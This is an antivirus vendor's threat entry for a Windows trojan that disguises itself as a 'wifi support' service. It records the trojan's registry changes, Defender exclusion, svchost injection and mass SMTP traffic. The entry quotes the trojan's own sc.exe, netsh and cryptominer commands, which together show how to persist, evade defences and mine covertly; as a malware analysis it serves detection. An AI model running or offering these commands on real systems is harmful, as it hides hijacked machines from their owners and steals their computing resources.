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Trojan.Siggen9.18441

Added to the Dr.Web virus database: 2020-03-08

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\wwiddbcs] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\wwiddbcs] 'ImagePath' = '%WINDIR%\SysWOW64\wwiddbcs\hjekdqa.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\wwiddbcs] 'ImagePath' = '%WINDIR%\SysWOW64\wwiddbcs\hjekdqa.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wwiddbcs' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\hjekdqa.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\hjekdqa.exe to %WINDIR%\syswow64\wwiddbcs\hjekdqa.exe
Deletes itself.
Network activity
Connects to
  • 'mt##.##0.yahoodns.net':25
TCP
HTTP GET requests
  • http://www.google.com/
  • 'mt#.inet.fi':25
  • 'ac##uet.com':25
  • 'in######ll.juliabue.com.ar':25
  • 'alt2.aspmx.l.google.com':25
  • 'ma##.##ertravel.com.ar':25
  • 'go##le.ca':443
  • 'ma##.whgth.de':25
  • 'sp#######sin1.scaleengine.net':25
  • 'ma##.#carlos.com.ar':25
  • 'as###cure.com':25
  • 'ma##.####zdelinterior.com.ar':25
  • 'mx.##.#topenworld.com':25
  • 'ho#########.olc.protection.outlook.com':25
  • 'po####.astrum.wroc.pl':25
  • 'ma##s.my':25
  • '19#.#.56.112':443
  • 'mx#######501.gslb.pphosted.com':25
  • 'mx#.###.#ailpod9-cph3.one.com':25
  • 'mx#.###.#ailpod6-cph3.one.com':25
  • 'fa######nternational.com':25
  • 'ma##.surfeu.fi':25
  • '43.#31.4.7':443
  • 'mx##.##stmailserver.com':25
  • 'mx#####et.adinet.com.uy':25
  • 'ma##.#ylkonmaki.fi':25
  • '85.##4.134.88':481
  • 'mi####.bittubeapp.com':13333
  • 'aspmx.l.google.com':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'mt##.##0.yahoodns.net':25
  • 'na#.###.#rotection.outlook.com':25
  • 'ma##.##gerpink.co.uk':25
  • 'li###.sunysb.edu':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'ma##.#arbrausch.de':25
  • 'ma##.whhi.de':25
  • 'fa###kala.com':25
  • 'mx##.#ectur.gob.mx':25
  • 'ma##.###erperformance.com':25
  • '78.#1.67.23':425
  • '18#.#65.238.150':425
  • '17#.#.114.177':425
  • '46.#.52.109':425
  • '93.##9.69.109':425
  • '46.#8.66.2':425
  • 'mx###.##il.am0.yahoodns.net':25
  • 'mx#####.#ail.gm0.yahoodns.net':25
  • 'pe###.com.pl':25
  • 'mx#.##il.ovh.net':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK ya##o.it
    • DNS ASK wh##y.com
    • DNS ASK sc###os.com.ar
    • DNS ASK ma##.#carlos.com.ar
    • DNS ASK sm##.wanadoo.fr
    • DNS ASK ho##ail.fr
    • DNS ASK al###.cc.tut.fi
    • DNS ASK wh#i.de
    • DNS ASK du##.co.th
    • DNS ASK ho##ail.com
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK as####utilities.com
    • DNS ASK mx##.##stmailserver.com
    • DNS ASK wh#.#awga.us
    • DNS ASK pd###ons.com
    • DNS ASK sp#######sin1.scaleengine.net
    • DNS ASK ya###.com.ar
    • DNS ASK ma##.whgth.de
    • DNS ASK mx.##.#topenworld.com
    • DNS ASK ma##.##ertravel.com.ar
    • DNS ASK jt#.com
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK ko####.imatra.fi
    • DNS ASK ve###tech.com
    • DNS ASK bt###nworld.com
    • DNS ASK ky####ri.hkkk.fi
    • DNS ASK ma##.whhi.de
    • DNS ASK mx#.#bchk.net
    • DNS ASK ma##.#ieksamaki.fi
    • DNS ASK te####nica.com.ar
    • DNS ASK ma#####.telefonica.com.ar
    • DNS ASK go##le.ca
    • DNS ASK wh##h.de
    • DNS ASK po#i.fi
    • DNS ASK mx#.pori.fi
    • DNS ASK wh#####ndation.co.uk
    • DNS ASK se###r.gob.mx
    • DNS ASK sa###rgo.com
    • DNS ASK le####i.cc.tut.fi
    • DNS ASK pa####ia.ton.tut.fi
    • DNS ASK as#s.cl
    • DNS ASK ip####9.dial.tpo.fi
    • DNS ASK ty###enter.fi
    • DNS ASK as##.com
    • DNS ASK su##eu.fi
    • DNS ASK mx#.##il.ovh.net
    • DNS ASK in######ll.juliabue.com.ar
    • DNS ASK as##.asso.fr
    • DNS ASK su##post.dk
    • DNS ASK fp##.mail.dk
    • DNS ASK dl##.netikka.fi
    • DNS ASK as####cure.co.uk
    • DNS ASK ds######w2le0.dial.inet.fi
    • DNS ASK as###curity.com
    • DNS ASK as###cure.com
    • DNS ASK ma##.surfeu.fi
    • DNS ASK ov####avel.com.ar
    • DNS ASK as###eneca.com
    • DNS ASK as###phome.dk
    • DNS ASK po####.astrum.wroc.pl
    • DNS ASK sc####unkies.com
    • DNS ASK wa##doo.fr
    • DNS ASK sm####n.orange.fr
    • DNS ASK li###aters.com
    • DNS ASK mx#######601.gslb.pphosted.com
    • DNS ASK ha####a.cs.tut.fi
    • DNS ASK ma##s.my
    • DNS ASK as###m.wroc.pl
    • DNS ASK mx#.###.#ailpod9-cph3.one.com
    • DNS ASK ti##ali.it
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK as###pnet.dk
    • DNS ASK mx#.###.#ailpod6-cph3.one.com
    • DNS ASK cc.#ut.fi
    • DNS ASK mx#######501.gslb.pphosted.com
    • DNS ASK am###trade.com
    • DNS ASK ju###bue.com.ar
    • DNS ASK re###x.inet.fi
    • DNS ASK sr#.gov.ar
    • DNS ASK vi####l.finland.fi
    • DNS ASK ya###.com.au
    • DNS ASK li###.sunysb.edu
    • DNS ASK fa####um-online.de
    • DNS ASK ya###.com.br
    • DNS ASK ti###pink.co.uk
    • DNS ASK mx######91d01.pphosted.com
    • DNS ASK fa###elden.de
    • DNS ASK me##rex.fi
    • DNS ASK mx.##deotron.ca
    • DNS ASK fa###ausch.de
    • DNS ASK ma##.#arbrausch.de
    • DNS ASK ti#####rformance.com
    • DNS ASK ma##.###erperformance.com
    • DNS ASK li#e.dk
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK vi###tron.qc.ca
    • DNS ASK as###lling.com
    • DNS ASK me##.uwasa.fi
    • DNS ASK na#.###.#rotection.outlook.com
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK ud##.edu
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK aspmx.l.google.com
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK be###outh.com
    • DNS ASK se##.edu
    • DNS ASK fa###orm.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK ao#.com
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK ya##o.com
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK wi###wslive.com
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK ds######w4gd9.dial.inet.fi
    • DNS ASK pe###.com.pl
    • DNS ASK ye####.ucdavis.edu
    • DNS ASK ma##.#ylkonmaki.fi
    • DNS ASK ad###t.com.uy
    • DNS ASK mx#####et.adinet.com.uy
    • DNS ASK re######as.grupos.com.br
    • DNS ASK ya##o.es
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK vr###w.oulu.fi
    • DNS ASK py###nmaki.fi
    • DNS ASK google.com
    • DNS ASK ma##.####zdelinterior.com.ar
    • DNS ASK ya##o.fr
    • DNS ASK te####i.helsinki.fi
    • DNS ASK kp###.inet.fi
    • DNS ASK mt#.inet.fi
    • DNS ASK ac##uet.com
    • DNS ASK ya##o.co.in
    • DNS ASK la#####linterior.com.ar
    • DNS ASK ya###.com.mx
    • DNS ASK mx#####.#ail.gm0.yahoodns.net
    • DNS ASK ma##.##gerpink.co.uk
    • DNS ASK fa###kala.com
    • DNS ASK ym##l.com
    • DNS ASK tv#.fi
    • DNS ASK em###.uophx.edu
    • DNS ASK cm###tiot.fi
    • DNS ASK fb##.org
    • DNS ASK fa######nternational.com
    • DNS ASK ma##.htk.fi
    • DNS ASK am##tum.fi
    • DNS ASK ai###ance.fr
    • DNS ASK mx#.###l.c3s2.iphmx.com
    • DNS ASK ds######w3oe6.dial.inet.fi
    • DNS ASK li#e.ca
    • DNS ASK op####s.jamsa.fi
    • DNS ASK me##ovan.fi
    • DNS ASK mx#######b02.gslb.pphosted.com
    • DNS ASK mx##.#ectur.gob.mx
    • DNS ASK ay#####caladehenares.es
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\wwiddbcs\hjekdqa.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wwiddbcs\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\hjekdqa.exe" %WINDIR%\SysWOW64\wwiddbcs\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create wwiddbcs binPath= "%WINDIR%\SysWOW64\wwiddbcs\hjekdqa.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description wwiddbcs "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start wwiddbcs' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wwiddbcs\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\hjekdqa.exe" %WINDIR%\SysWOW64\wwiddbcs\
    • '%WINDIR%\syswow64\sc.exe' create wwiddbcs binPath= "%WINDIR%\SysWOW64\wwiddbcs\hjekdqa.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description wwiddbcs "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start wwiddbcs
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3yF6V9xnLZcVuHhV6W19JR6Ze5F6M26CDujJeY4mkkQ3ZsCiyenVujf2DkwFXaoL3rb8rvtSseFVvTsDPSJt482P4jGtDmN.60000 -p x -k

    Curing recommendations

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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

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